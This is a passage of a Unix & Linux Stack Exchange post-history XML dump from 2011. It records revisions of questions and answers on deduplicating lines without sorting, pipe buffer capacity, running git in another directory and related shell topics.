  <row Id="29096" PostHistoryTypeId="1" PostId="11939" RevisionGUID="151c0e6a-33ad-4dbf-b93e-6be4faf198bd" CreationDate="2011-04-24T20:23:47.233" UserId="912" Text="How to get only the unique results without having to sort data?" />
  <row Id="29097" PostHistoryTypeId="3" PostId="11939" RevisionGUID="151c0e6a-33ad-4dbf-b93e-6be4faf198bd" CreationDate="2011-04-24T20:23:47.233" UserId="912" Text="élinuxàécommandölineàésortàéuniqà" />
  <row Id="29098" PostHistoryTypeId="2" PostId="11940" RevisionGUID="ece0b2c1-8b57-4651-afd9-dfadc5b32712" CreationDate="2011-04-24T20:31:59.770" UserId="6890" Text="[john][1] has a tool called `unique`:&#xD;&#xA;&#xD;&#xA;    usr@srv % cat data.txt | unique out&#xD;&#xA;    usr@srv % cat out&#xD;&#xA;    aaaaaa&#xD;&#xA;    cccccc&#xD;&#xA;    bbbbbb&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/search?keywords=john&amp;searchon=names&amp;suite=all&amp;section=all" />
  <row Id="29099" PostHistoryTypeId="2" PostId="11941" RevisionGUID="411a8f48-e6a6-4a05-a28d-f93abe414eb7" CreationDate="2011-04-24T20:57:00.217" UserId="2421" Text="    perl -ne 'print unless $seen{$_}++' data.txt&#xD;&#xA;&#xD;&#xA;Or, if you must have a [useless use of `cat`][1]:&#xD;&#xA;&#xD;&#xA;    cat data.txt | perl -ne 'print unless $seen{$_}++'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cat_%28Unix%29#Useless_use_of_cat" />
  <row Id="29100" PostHistoryTypeId="25" PostId="11929" RevisionGUID="29f0c922-c214-41cc-9159-cd0fdb8c59c0" CreationDate="2011-04-24T21:09:10.997" Comment="http://twitter.com/#!/StackUnix/status/62261827026960385" />
  <row Id="29106" PostHistoryTypeId="5" PostId="11941" RevisionGUID="996be8cf-f588-4c9d-a45e-da78c83aee6e" CreationDate="2011-04-24T21:17:45.183" UserId="2421" Comment="added awk version" Text="    perl -ne 'print unless $seen{$_}++' data.txt&#xD;&#xA;&#xD;&#xA;Or, if you must have a [useless use of `cat`][1]:&#xD;&#xA;&#xD;&#xA;    cat data.txt | perl -ne 'print unless $seen{$_}++'&#xD;&#xA;&#xD;&#xA;Here's an `awk` translation, for systems that lack Perl:&#xD;&#xA;&#xD;&#xA;    awk '{ if (++seen[$0] == 1) { print $0 } }' data.txt&#xD;&#xA;    cat data.txt | awk '{ if (++seen[$0] == 1) { print $0 } }'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cat_%28Unix%29#Useless_use_of_cat" />
  <row Id="29107" PostHistoryTypeId="2" PostId="11943" RevisionGUID="06652eee-a86a-40da-b2ed-1b484f5f01f7" CreationDate="2011-04-24T21:19:38.767" UserId="3169" Text="It doesn't highlight the selection, but otherwise I think it works fine.&#xD;&#xA;&#xD;&#xA;Try running&#xD;&#xA;&#xD;&#xA;    $ bind -p | grep copy-region-as-kill&#xD;&#xA;&#xD;&#xA;to make sure that `C-x C-r` actually worked.&#xD;&#xA;&#xD;&#xA;It should say:&#xD;&#xA;&#xD;&#xA;    &quot;\ew&quot;: copy-region-as-kill&#xD;&#xA;&#xD;&#xA;After that, it should work fine.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ abc&lt;C-Spc&gt;&lt;C-a&gt;&lt;M-w&gt; def &lt;C-y&gt;&#xD;&#xA;&#xD;&#xA;gives me&#xD;&#xA;&#xD;&#xA;    $ abc def abc&#xD;&#xA;&#xD;&#xA;Also, I don't think you need to add the `set-mark` binding.  I didn't.&#xD;&#xA;&#xD;&#xA;    $ bind -p | grep set-mark&#xD;&#xA;    &quot;\C-@&quot;: set-mark&#xD;&#xA;    &quot;\e &quot;: set-mark&#xD;&#xA;    # vi-set-mark (not bound)&#xD;&#xA;" />
  <row Id="29108" PostHistoryTypeId="5" PostId="11943" RevisionGUID="cf18a70c-90ec-472d-abc0-a0bfad889a65" CreationDate="2011-04-24T21:31:36.077" UserId="3169" Comment="added 433 characters in body; added 6 characters in body; added 13 characters in body" Text="It doesn't highlight the selection, but otherwise I think it works fine.&#xD;&#xA;&#xD;&#xA;Try running&#xD;&#xA;&#xD;&#xA;    $ bind -p | grep copy-region-as-kill&#xD;&#xA;&#xD;&#xA;to make sure that `C-x C-r` actually worked.&#xD;&#xA;&#xD;&#xA;It should say:&#xD;&#xA;&#xD;&#xA;    &quot;\ew&quot;: copy-region-as-kill&#xD;&#xA;&#xD;&#xA;After that, it should work fine.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ abc&lt;C-Spc&gt;&lt;C-a&gt;&lt;M-w&gt; def &lt;C-y&gt;&#xD;&#xA;&#xD;&#xA;gives me&#xD;&#xA;&#xD;&#xA;    $ abc def abc&#xD;&#xA;&#xD;&#xA;If you ever want to know where `mark` is, just do `C-x` `C-x`.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ &lt;C-Spc&gt;abc&lt;C-x&gt;&lt;C-x&gt;&#xD;&#xA;&#xD;&#xA;will put the cursor back to where you set mark (the start of the line).&#xD;&#xA;&#xD;&#xA;Also, I don't think you need to add the `set-mark` binding.  I didn't.&#xD;&#xA;&#xD;&#xA;    $ bind -p | grep set-mark&#xD;&#xA;    &quot;\C-@&quot;: set-mark&#xD;&#xA;    &quot;\e &quot;: set-mark&#xD;&#xA;    # vi-set-mark (not bound)&#xD;&#xA;&#xD;&#xA;(note that most terminals send `C-@` when `C-Spc` is pressed.   I assume yours does too.)&#xD;&#xA;&#xD;&#xA;If all this fails:&#xD;&#xA;&#xD;&#xA;  - does &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt; work in `emacs -nw` on the same terminal?&#xD;&#xA;  - do other &lt;kbd&gt;Alt&lt;/kbd&gt;/&lt;kbd&gt;Meta&lt;/kbd&gt; shortcuts work in bash?" />
  <row Id="29109" PostHistoryTypeId="2" PostId="11944" RevisionGUID="5471b2f1-b227-4bc1-8942-3f56a107fbd6" CreationDate="2011-04-24T21:35:49.747" UserId="6912" Text="http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/packages-using.html&#xD;&#xA;&#xD;&#xA;&quot;If you want to force pkg_add(1) to download FreeBSD 8-STABLE packages, set PACKAGESITE to ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-8-stable/Latest/.&quot;&#xD;&#xA;&#xD;&#xA;Note that you will eventually get some brokenness unless you also track STABLE in your base installation.&#xD;&#xA;&#xD;&#xA;Ports must be updated separately via, say, portsnap fetch &amp;&amp; portsnap update." />
  <row Id="29111" PostHistoryTypeId="5" PostId="11940" RevisionGUID="91efda30-5b35-4967-bd49-7fe5802da842" CreationDate="2011-04-24T21:57:36.777" UserId="6890" Comment="added 410 characters in body" Text="[john][1] has a tool called `unique`:&#xD;&#xA;&#xD;&#xA;    usr@srv % cat data.txt | unique out&#xD;&#xA;    usr@srv % cat out&#xD;&#xA;    aaaaaa&#xD;&#xA;    cccccc&#xD;&#xA;    bbbbbb&#xD;&#xA;&#xD;&#xA;To achieve the same without additional tools in a single commandline is a bit more complex:&#xD;&#xA;&#xD;&#xA;    usr@srv % cat data.txt | nl | sort -k 2 | uniq -f 1 | sort -n | sed 's/\s*[0-9]\+\s\+//'&#xD;&#xA;    aaaaaa&#xD;&#xA;    cccccc&#xD;&#xA;    bbbbbb&#xD;&#xA;&#xD;&#xA;`nl` prints line numbers in front of the lines, so if we `sort`/`uniq` behind them, we can restore the original order of the lines. `sed` just deletes the line numbers afterwards ;)&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/search?keywords=john&amp;searchon=names&amp;suite=all&amp;section=all" />
  <row Id="29112" PostHistoryTypeId="2" PostId="11945" RevisionGUID="d5e6a00e-0b60-4f11-98d5-81b1e34f88de" CreationDate="2011-04-24T22:23:32.120" UserId="6913" Text="When using Git VCS, I execute all of the git commands on the directory that contains  a .git repository. I want to execute a git-pull through an SSH trigger but how do I define the path to the repository to perform the action on?" />
  <row Id="29113" PostHistoryTypeId="1" PostId="11945" RevisionGUID="d5e6a00e-0b60-4f11-98d5-81b1e34f88de" CreationDate="2011-04-24T22:23:32.120" UserId="6913" Text="Execute a command in a different path" />
  <row Id="29114" PostHistoryTypeId="3" PostId="11945" RevisionGUID="d5e6a00e-0b60-4f11-98d5-81b1e34f88de" CreationDate="2011-04-24T22:23:32.120" UserId="6913" Text="écommandölineàégitàépathà" />
  <row Id="29115" PostHistoryTypeId="5" PostId="11941" RevisionGUID="0f8947da-1810-4a40-a9b6-3c015368b2f6" CreationDate="2011-04-24T22:46:52.357" UserId="2421" Comment="use camh's improved awk script" Text="    perl -ne 'print unless $seen{$_}++' data.txt&#xD;&#xA;&#xD;&#xA;Or, if you must have a [useless use of `cat`][1]:&#xD;&#xA;&#xD;&#xA;    cat data.txt | perl -ne 'print unless $seen{$_}++'&#xD;&#xA;&#xD;&#xA;Here's an `awk` translation, for systems that lack Perl:&#xD;&#xA;&#xD;&#xA;    awk '{ if (!seen[$0]++) print }' data.txt&#xD;&#xA;    cat data.txt | awk '{ if (!seen[$0]++) print }'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cat_%28Unix%29#Useless_use_of_cat" />
  <row Id="29116" PostHistoryTypeId="5" PostId="11927" RevisionGUID="19cdec9c-a743-430e-b336-09c604534145" CreationDate="2011-04-24T23:09:36.480" UserId="4728" Comment="removed the bit about moving to Unix &amp; Linux" Text="You need to do `chown -R www-data /var/www/` (`-R` means recursive).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com&#xD;&#xA;  [2]: http://unix.stackexchange.com" />
  <row Id="29117" PostHistoryTypeId="24" PostId="11927" RevisionGUID="19cdec9c-a743-430e-b336-09c604534145" CreationDate="2011-04-24T23:09:36.480" Comment="Proposed by 4728 approved by 688 edit id of 319" />
  <row Id="29118" PostHistoryTypeId="2" PostId="11946" RevisionGUID="7f65eb18-7a8c-4e94-a25b-de5285d1adc4" CreationDate="2011-04-24T23:11:42.887" UserId="3125" Text="As a comment in http://unix.stackexchange.com/questions/11937/im-confused-as-to-why-true-in-a-makefile-has-the-same-effect-as-true/11938#11938 user [cjm][1] wrote:&#xD;&#xA;&#xD;&#xA;&gt; Another reason to avoid | true is that if the command produced enough output to fill up the pipe buffer, it would block waiting for true to read it.&#xD;&#xA;&#xD;&#xA;Do we have some way of finding out what the size of the pipe buffer is?&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/users/2421/cjm" />
  <row Id="29119" PostHistoryTypeId="1" PostId="11946" RevisionGUID="7f65eb18-7a8c-4e94-a25b-de5285d1adc4" CreationDate="2011-04-24T23:11:42.887" UserId="3125" Text="How big is the pipe buffer?" />
  <row Id="29120" PostHistoryTypeId="3" PostId="11946" RevisionGUID="7f65eb18-7a8c-4e94-a25b-de5285d1adc4" CreationDate="2011-04-24T23:11:42.887" UserId="3125" Text="épipeàébufferà" />
  <row Id="29121" PostHistoryTypeId="2" PostId="11947" RevisionGUID="5f15ddfc-f789-4f32-a05d-2e8c37957155" CreationDate="2011-04-24T23:29:13.320" UserId="3169" Text="I think `ulimit -p` tells you.&#xD;&#xA;&#xD;&#xA;    $ ulimit -p&#xD;&#xA;    8&#xD;&#xA;&#xD;&#xA;    $ ulimit -a | grep pipe&#xD;&#xA;    pipe size            (512 bytes, -p) 8&#xD;&#xA;&#xD;&#xA;so on my system it's 8 * 512 = 4096 bytes.&#xD;&#xA;&#xD;&#xA;See also&#xD;&#xA;&#xD;&#xA;    /usr/include/linux/limits.h: #define PIPE_BUF 4096&#xD;&#xA;" />
  <row Id="29122" PostHistoryTypeId="5" PostId="11947" RevisionGUID="3ee4964b-c24a-436e-8b78-d5eda5645e67" CreationDate="2011-04-24T23:34:59.357" UserId="3169" Comment="added 63 characters in body" Text="In `bash`, `ulimit -p` tells you.&#xD;&#xA;&#xD;&#xA;    $ ulimit -p&#xD;&#xA;    8&#xD;&#xA;&#xD;&#xA;    $ ulimit -a | grep pipe&#xD;&#xA;    pipe size            (512 bytes, -p) 8&#xD;&#xA;&#xD;&#xA;so on my system it's 8 * 512 = 4096 bytes.&#xD;&#xA;&#xD;&#xA;It's also defined as `PIPE_BUF`, usually in `/usr/include/limits.h`.&#xD;&#xA;&#xD;&#xA;    /usr/include/linux/limits.h: #define PIPE_BUF 4096&#xD;&#xA;" />
  <row Id="29123" PostHistoryTypeId="5" PostId="11947" RevisionGUID="9f3ae580-6aa4-43ce-a060-b64fede99583" CreationDate="2011-04-24T23:46:21.627" UserId="3169" Comment="add Python method; added 22 characters in body" Text="In `bash`, `ulimit -p` tells you.&#xD;&#xA;&#xD;&#xA;    $ ulimit -p&#xD;&#xA;    8&#xD;&#xA;&#xD;&#xA;    $ ulimit -a | grep pipe&#xD;&#xA;    pipe size            (512 bytes, -p) 8&#xD;&#xA;&#xD;&#xA;so on my system it's 8 * 512 = 4096 bytes.&#xD;&#xA;&#xD;&#xA;If you're not using `bash`, you can use either `PIPE_BUF` from &lt;[limits.h](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/limits.h.html)&gt;, e.g.:&#xD;&#xA;&#xD;&#xA;    /usr/include/linux/limits.h: #define PIPE_BUF 4096&#xD;&#xA;&#xD;&#xA;Or [pathconf](http://pubs.opengroup.org/onlinepubs/009695399/functions/pathconf.html), e.g. using Python:&#xD;&#xA;&#xD;&#xA;    &gt;&gt;&gt; os.pathconf('.', os.pathconf_names['PC_PIPE_BUF'])&#xD;&#xA;    4096&#xD;&#xA;" />
  <row Id="29124" PostHistoryTypeId="25" PostId="11946" RevisionGUID="39afdcac-1a66-4219-b922-ce8ce7147c04" CreationDate="2011-04-25T00:09:10.867" Comment="http://twitter.com/#!/StackUnix/status/62307125493374976" />
  <row Id="29125" PostHistoryTypeId="2" PostId="11948" RevisionGUID="ffa8fa04-5497-44bd-8f86-fafaedee2c7d" CreationDate="2011-04-25T02:44:10.780" UserId="3169" Text="Have you tried creating&#xD;&#xA;&#xD;&#xA;    ~/.vncstartup&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    ~/.vnc/xstartup&#xD;&#xA;&#xD;&#xA;In my version of `vncserver`, that's where you put your startup commands, e.g.&#xD;&#xA;&#xD;&#xA;    xterm -geometry 80x25+0+0 &amp;&#xD;&#xA;    xterm ...&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;See also [Taking your desktop virtual with VNC](http://www.redhat.com/magazine/006apr05/features/vnc).&#xD;&#xA;" />
  <row Id="29126" PostHistoryTypeId="6" PostId="11936" RevisionGUID="d64e176d-1a2e-4611-86bf-c991272f354f" CreationDate="2011-04-25T02:46:17.253" UserId="3169" Comment="remove &quot;linux&quot; and &quot;shell&quot; tags, not Linux specific, and you start a shell by starting a terminal" Text="éterminalàéx11àévncà" />
  <row Id="29127" PostHistoryTypeId="2" PostId="11949" RevisionGUID="ae05a407-72a0-43ce-aab6-2abf447853ea" CreationDate="2011-04-25T02:56:43.260" UserId="6883" Text=" 1. If you set the `GIT_DIR` environment variable, `git` will use it as a path to the repository.&#xD;&#xA; 1. In general, you can start a subshell like this:&#xD;&#xA;&#xD;&#xA;    (cd /some/other/directory/; git pull)&#xD;&#xA;&#xD;&#xA;The subshell will have its own current directory and environment variables." />
  <row Id="29128" PostHistoryTypeId="25" PostId="11939" RevisionGUID="1abf0c32-0fbf-4eee-8b7c-b213aef90073" CreationDate="2011-04-25T03:09:10.877" Comment="http://twitter.com/#!/StackUnix/status/62352424412778497" />
  <row Id="29129" PostHistoryTypeId="2" PostId="11950" RevisionGUID="9f5e070f-2956-433b-aea3-a5776ceb1a0d" CreationDate="2011-04-25T04:24:24.647" UserId="6918" Text="Are there any program accessible equivalents to network configuration tools such as  'ifconfig', 'iwconfig' e.t.c.?&#xD;&#xA;&#xD;&#xA;I am looking for an elegant method of accessing the functionality and information these provide from within a program." />
  <row Id="29130" PostHistoryTypeId="1" PostId="11950" RevisionGUID="9f5e070f-2956-433b-aea3-a5776ceb1a0d" CreationDate="2011-04-25T04:24:24.647" UserId="6918" Text="Network configuration from within a program" />
  <row Id="29131" PostHistoryTypeId="3" PostId="11950" RevisionGUID="9f5e070f-2956-433b-aea3-a5776ceb1a0d" CreationDate="2011-04-25T04:24:24.647" UserId="6918" Text="énetworkingà" />
  <row Id="29132" PostHistoryTypeId="2" PostId="11951" RevisionGUID="f23872f4-dca4-42e7-9bc2-c146ef15f04e" CreationDate="2011-04-25T04:31:29.147" UserId="1898" Text="I'm currently working on an assignment in a cluster programming class. The class has been given an account on the cluster, so we can ssh in and do our work. The problem is that the one account is shared among everyone in the class. Each student just makes their own directory and works within it.&#xD;&#xA;&#xD;&#xA;Obviously a problem is that students can just look at each others work and plagiarize. I don't want people to see my work until after the assignments have been submitted.&#xD;&#xA;&#xD;&#xA;There are no version control systems on the cluster, so I can't just pull a repository from my own machine and work on the assignment, then push it and remove what's on the cluster each time I work.&#xD;&#xA;&#xD;&#xA;What is the best way to prevent others from seeing my work? Ordinarily I'd just work on my own machine and then upload to the server when it is due. But because I don't have my own cluster, we all need to actually use the one account.&#xD;&#xA;&#xD;&#xA;Yes, believe it or not this is actually a real world problem I am facing - not a hypothetical.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29133" PostHistoryTypeId="1" PostId="11951" RevisionGUID="f23872f4-dca4-42e7-9bc2-c146ef15f04e" CreationDate="2011-04-25T04:31:29.147" UserId="1898" Text="Hiding work in account with multiple users" />
  <row Id="29134" PostHistoryTypeId="3" PostId="11951" RevisionGUID="f23872f4-dca4-42e7-9bc2-c146ef15f04e" CreationDate="2011-04-25T04:31:29.147" UserId="1898" Text="ésecurityà" />
  <row Id="29135" PostHistoryTypeId="2" PostId="11952" RevisionGUID="af8ed28e-c9d3-4d41-8483-11698fe72919" CreationDate="2011-04-25T05:06:47.677" UserId="3519" Text="The perfect answer would be encryption, but presumably if you can't pull data to/from your own computer, then you probably can't install any disk, volume or file encryption software.&#xD;&#xA;&#xD;&#xA;That said, the teachers must know what they are doing and if they chose for you all to use a common space, there must be a reason behind it. Maybe it is to learn about trust and collaboration? Why not ask them?" />
  <row Id="29136" PostHistoryTypeId="2" PostId="11953" RevisionGUID="a1905a23-3c97-4fd9-be36-5ecdd4d9d1d9" CreationDate="2011-04-25T05:12:18.620" UserId="5861" Text="Is there any way to make a log file for maintaining some data in /var/log/ with the help of some library function or system call in c language in linux. And I also want to know the standards that we should follow.&#xD;&#xA;Thanks" />
  <row Id="29137" PostHistoryTypeId="1" PostId="11953" RevisionGUID="a1905a23-3c97-4fd9-be36-5ecdd4d9d1d9" CreationDate="2011-04-25T05:12:18.620" UserId="5861" Text="make a log file" />
  <row Id="29138" PostHistoryTypeId="3" PostId="11953" RevisionGUID="a1905a23-3c97-4fd9-be36-5ecdd4d9d1d9" CreationDate="2011-04-25T05:12:18.620" UserId="5861" Text="élinuxàélogsà" />
  <row Id="29139" PostHistoryTypeId="5" PostId="11953" RevisionGUID="f4a70318-0ded-44ba-93f6-275fe831e436" CreationDate="2011-04-25T05:20:38.023" UserId="5861" Comment="added 25 characters in body" Text="Is there any way to make a log file for maintaining some data in /var/log/ with the help of some library function or system call in c language in linux. And I also want to know the standards that we should follow to write and process log.&#xD;&#xA;Thanks" />
  <row Id="29140" PostHistoryTypeId="2" PostId="11954" RevisionGUID="3898b99d-e5e8-4443-a5b9-5ccd44eca15f" CreationDate="2011-04-25T05:32:41.150" UserId="1107" Text="The capacity of a pipe buffer varies across systems. I am not sure there is a quick and easy way to determine the size (i.e. just lookup a system value).&#xD;&#xA;&#xD;&#xA;Mac OS X, for example, uses a capacity of 16384 bytes by default, but can switch to 65336 byte capacities if large write are made to the pipe, or will switch to a capacity of a single system page if too much kernel memory is already being used by pipe buffers (see [`xnu/bsd/sys/pipe.h`](http://www.opensource.apple.com/source/xnu/xnu-1504.9.37/bsd/sys/pipe.h), and [`xnu/bsd/kern/sys_pipe.c`](http://www.opensource.apple.com/source/xnu/xnu-1504.9.37/bsd/kern/sys_pipe.c); since these are from FreeBSD, the same behavior may happen there).&#xD;&#xA;&#xD;&#xA;One Linux [*pipe(7)* man page](http://linux.die.net/man/7/pipe) says that pipe capacity is 65536 bytes since Linux 2.6.11 and a single system page prior to that (e.g. 4096 bytes on (32-bit) x86 systems). The code ([`include/linux/pipe_fs_i.h`](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=include/linux/pipe_fs_i.h;h=77257c92155aa4efb6ea68d9c99298426aedc60b;hb=HEAD), and [`fs/pipe.c`](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=fs/pipe.c;h=da42f7db50de42640a7fa56df21e21bbb48cf588;hb=HEAD)) seems to use 16 system pages, but the buffer for each pipe can be adjusted via a *fcntl* on the pipe (up to a maximum capacity which defaults to 1048576 bytes, but can be changes via `/proc/sys/fs/pipe-max-size`)).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is a little *bash*/*perl* combination that I used to test the pipe capacity on my system:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    test $# -ge 1 || { echo &quot;usage: $0 write-size [wait-time]&quot;; exit 1; }&#xD;&#xA;    test $# -ge 2 || set -- &quot;$@&quot; 1&#xD;&#xA;    bytes_written=$(&#xD;&#xA;    {&#xD;&#xA;        exec 3&gt;&amp;1&#xD;&#xA;        {&#xD;&#xA;            perl -e '&#xD;&#xA;                $size = $ARGV[0];&#xD;&#xA;                $block = q(a) x $size;&#xD;&#xA;                $num_written = 0;&#xD;&#xA;                sub report { print STDERR $num_written * $size, qq(\n); }&#xD;&#xA;                report; while (defined syswrite STDOUT, $block) {&#xD;&#xA;                    $num_written++; report;&#xD;&#xA;                }&#xD;&#xA;            ' &quot;$1&quot; 2&gt;&amp;3&#xD;&#xA;        } | (sleep &quot;$2&quot;; exec 0&lt;&amp;-);&#xD;&#xA;    } | tail -1&#xD;&#xA;    )&#xD;&#xA;    printf &quot;write size: %10d; bytes successfully before error: %d\n&quot; \&#xD;&#xA;        &quot;$1&quot; &quot;$bytes_written&quot;&#xD;&#xA;&#xD;&#xA;Here is what I found running it with various write sizes on a Mac OS X 10.6.7 system (note the change for write larger than 16KiB):&#xD;&#xA;&#xD;&#xA;    % /bin/bash -c 'for p in {0..18}; do /tmp/ts.sh $((2 ** $p)) 0.5; done'&#xD;&#xA;    write size:          1; bytes successfully before error: 16384&#xD;&#xA;    write size:          2; bytes successfully before error: 16384&#xD;&#xA;    write size:          4; bytes successfully before error: 16384&#xD;&#xA;    write size:          8; bytes successfully before error: 16384&#xD;&#xA;    write size:         16; bytes successfully before error: 16384&#xD;&#xA;    write size:         32; bytes successfully before error: 16384&#xD;&#xA;    write size:         64; bytes successfully before error: 16384&#xD;&#xA;    write size:        128; bytes successfully before error: 16384&#xD;&#xA;    write size:        256; bytes successfully before error: 16384&#xD;&#xA;    write size:        512; bytes successfully before error: 16384&#xD;&#xA;    write size:       1024; bytes successfully before error: 16384&#xD;&#xA;    write size:       2048; bytes successfully before error: 16384&#xD;&#xA;    write size:       4096; bytes successfully before error: 16384&#xD;&#xA;    write size:       8192; bytes successfully before error: 16384&#xD;&#xA;    write size:      16384; bytes successfully before error: 16384&#xD;&#xA;    write size:      32768; bytes successfully before error: 65536&#xD;&#xA;    write size:      65536; bytes successfully before error: 65536&#xD;&#xA;    write size:     131072; bytes successfully before error: 0&#xD;&#xA;    write size:     262144; bytes successfully before error: 0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Note: The `PIPE_BUF` value defined in the C header files (and the *pathconf* value for `_PC_PIPE_BUF`), does not specify the capacity of pipes, but the maximum number of bytes that can be written atomically (see [POSIX *write(2)*](http://pubs.opengroup.org/onlinepubs/009695399/functions/write.html#tag_03_866)).&#xD;&#xA;&#xD;&#xA;Quote from [`include/linux/pipe_fs_i.h`](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=include/linux/pipe_fs_i.h;h=77257c92155aa4efb6ea68d9c99298426aedc60b;hb=HEAD#l134):&#xD;&#xA;&#xD;&#xA;    /* Differs from PIPE_BUF in that PIPE_SIZE is the length of the actual&#xD;&#xA;       memory allocation, whereas PIPE_BUF makes atomicity guarantees.  */" />
  <row Id="29141" PostHistoryTypeId="5" PostId="11954" RevisionGUID="8ef5549b-7158-4be1-9d9a-62199f950e04" CreationDate="2011-04-25T05:39:51.357" UserId="1107" Comment="added 83 characters in body; added 1 characters in body" Text="The capacity of a pipe buffer varies across systems (and can even vary on the same system). I am not sure there is a quick, easy, and cross platform way to just lookup the capacity of a pipe.&#xD;&#xA;&#xD;&#xA;Mac OS X, for example, uses a capacity of 16384 bytes by default, but can switch to 65336 byte capacities if large write are made to the pipe, or will switch to a capacity of a single system page if too much kernel memory is already being used by pipe buffers (see [`xnu/bsd/sys/pipe.h`](http://www.opensource.apple.com/source/xnu/xnu-1504.9.37/bsd/sys/pipe.h), and [`xnu/bsd/kern/sys_pipe.c`](http://www.opensource.apple.com/source/xnu/xnu-1504.9.37/bsd/kern/sys_pipe.c); since these are from FreeBSD, the same behavior may happen there, too).&#xD;&#xA;&#xD;&#xA;One Linux [*pipe(7)* man page](http://linux.die.net/man/7/pipe) says that pipe capacity is 65536 bytes since Linux 2.6.11 and a single system page prior to that (e.g. 4096 bytes on (32-bit) x86 systems). The code ([`include/linux/pipe_fs_i.h`](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=include/linux/pipe_fs_i.h;h=77257c92155aa4efb6ea68d9c99298426aedc60b;hb=HEAD), and [`fs/pipe.c`](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=fs/pipe.c;h=da42f7db50de42640a7fa56df21e21bbb48cf588;hb=HEAD)) seems to use 16 system pages (i.e. 64 KiB if a system page is 4 KiB), but the buffer for each pipe can be adjusted via a *fcntl* on the pipe (up to a maximum capacity which defaults to 1048576 bytes, but can be changed via `/proc/sys/fs/pipe-max-size`)).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is a little *bash*/*perl* combination that I used to test the pipe capacity on my system:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    test $# -ge 1 || { echo &quot;usage: $0 write-size [wait-time]&quot;; exit 1; }&#xD;&#xA;    test $# -ge 2 || set -- &quot;$@&quot; 1&#xD;&#xA;    bytes_written=$(&#xD;&#xA;    {&#xD;&#xA;        exec 3&gt;&amp;1&#xD;&#xA;        {&#xD;&#xA;            perl -e '&#xD;&#xA;                $size = $ARGV[0];&#xD;&#xA;                $block = q(a) x $size;&#xD;&#xA;                $num_written = 0;&#xD;&#xA;                sub report { print STDERR $num_written * $size, qq(\n); }&#xD;&#xA;                report; while (defined syswrite STDOUT, $block) {&#xD;&#xA;                    $num_written++; report;&#xD;&#xA;                }&#xD;&#xA;            ' &quot;$1&quot; 2&gt;&amp;3&#xD;&#xA;        } | (sleep &quot;$2&quot;; exec 0&lt;&amp;-);&#xD;&#xA;    } | tail -1&#xD;&#xA;    )&#xD;&#xA;    printf &quot;write size: %10d; bytes successfully before error: %d\n&quot; \&#xD;&#xA;        &quot;$1&quot; &quot;$bytes_written&quot;&#xD;&#xA;&#xD;&#xA;Here is what I found running it with various write sizes on a Mac OS X 10.6.7 system (note the change for writes larger than 16KiB):&#xD;&#xA;&#xD;&#xA;    % /bin/bash -c 'for p in {0..18}; do /tmp/ts.sh $((2 ** $p)) 0.5; done'&#xD;&#xA;    write size:          1; bytes successfully before error: 16384&#xD;&#xA;    write size:          2; bytes successfully before error: 16384&#xD;&#xA;    write size:          4; bytes successfully before error: 16384&#xD;&#xA;    write size:          8; bytes successfully before error: 16384&#xD;&#xA;    write size:         16; bytes successfully before error: 16384&#xD;&#xA;    write size:         32; bytes successfully before error: 16384&#xD;&#xA;    write size:         64; bytes successfully before error: 16384&#xD;&#xA;    write size:        128; bytes successfully before error: 16384&#xD;&#xA;    write size:        256; bytes successfully before error: 16384&#xD;&#xA;    write size:        512; bytes successfully before error: 16384&#xD;&#xA;    write size:       1024; bytes successfully before error: 16384&#xD;&#xA;    write size:       2048; bytes successfully before error: 16384&#xD;&#xA;    write size:       4096; bytes successfully before error: 16384&#xD;&#xA;    write size:       8192; bytes successfully before error: 16384&#xD;&#xA;    write size:      16384; bytes successfully before error: 16384&#xD;&#xA;    write size:      32768; bytes successfully before error: 65536&#xD;&#xA;    write size:      65536; bytes successfully before error: 65536&#xD;&#xA;    write size:     131072; bytes successfully before error: 0&#xD;&#xA;    write size:     262144; bytes successfully before error: 0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Note: The `PIPE_BUF` value defined in the C header files (and the *pathconf* value for `_PC_PIPE_BUF`), does not specify the capacity of pipes, but the maximum number of bytes that can be written atomically (see [POSIX *write(2)*](http://pubs.opengroup.org/onlinepubs/009695399/functions/write.html#tag_03_866)).&#xD;&#xA;&#xD;&#xA;Quote from [`include/linux/pipe_fs_i.h`](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=include/linux/pipe_fs_i.h;h=77257c92155aa4efb6ea68d9c99298426aedc60b;hb=HEAD#l134):&#xD;&#xA;&#xD;&#xA;    /* Differs from PIPE_BUF in that PIPE_SIZE 